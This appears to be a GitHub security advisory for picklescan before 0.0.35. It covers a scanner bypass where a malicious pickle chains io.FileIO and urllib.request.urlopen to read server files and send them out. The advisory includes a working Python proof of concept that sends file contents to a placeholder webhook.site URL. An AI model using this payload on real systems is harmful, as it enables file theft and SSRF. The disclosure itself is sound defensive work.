GitHub Advisoryadvisory · PyPI
GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO`
HIGH
Official page ↗
- Aliases
- CVE-2026-53872
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22, CWE-918
- Reviewed
- 2026-01-08
Affected packages
• PyPI picklescan: < 0.0.35 → fixed in 0.0.35
Description
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
1. io.FileIO: Opens local files without using builtins.open.
2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
```python
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
```
Impact
• Arbitrary file read
Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.
Related
Alias · CVE (1)
- CVE-2026-53872 picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary… vulnerability
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr web
- https://nvd.nist.gov/vuln/detail/CVE-2026-53872 advisory
- https://github.com/mmaitre314/picklescan/pull/55 web
- https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1 web
- https://github.com/mmaitre314/picklescan package
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35 web
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization web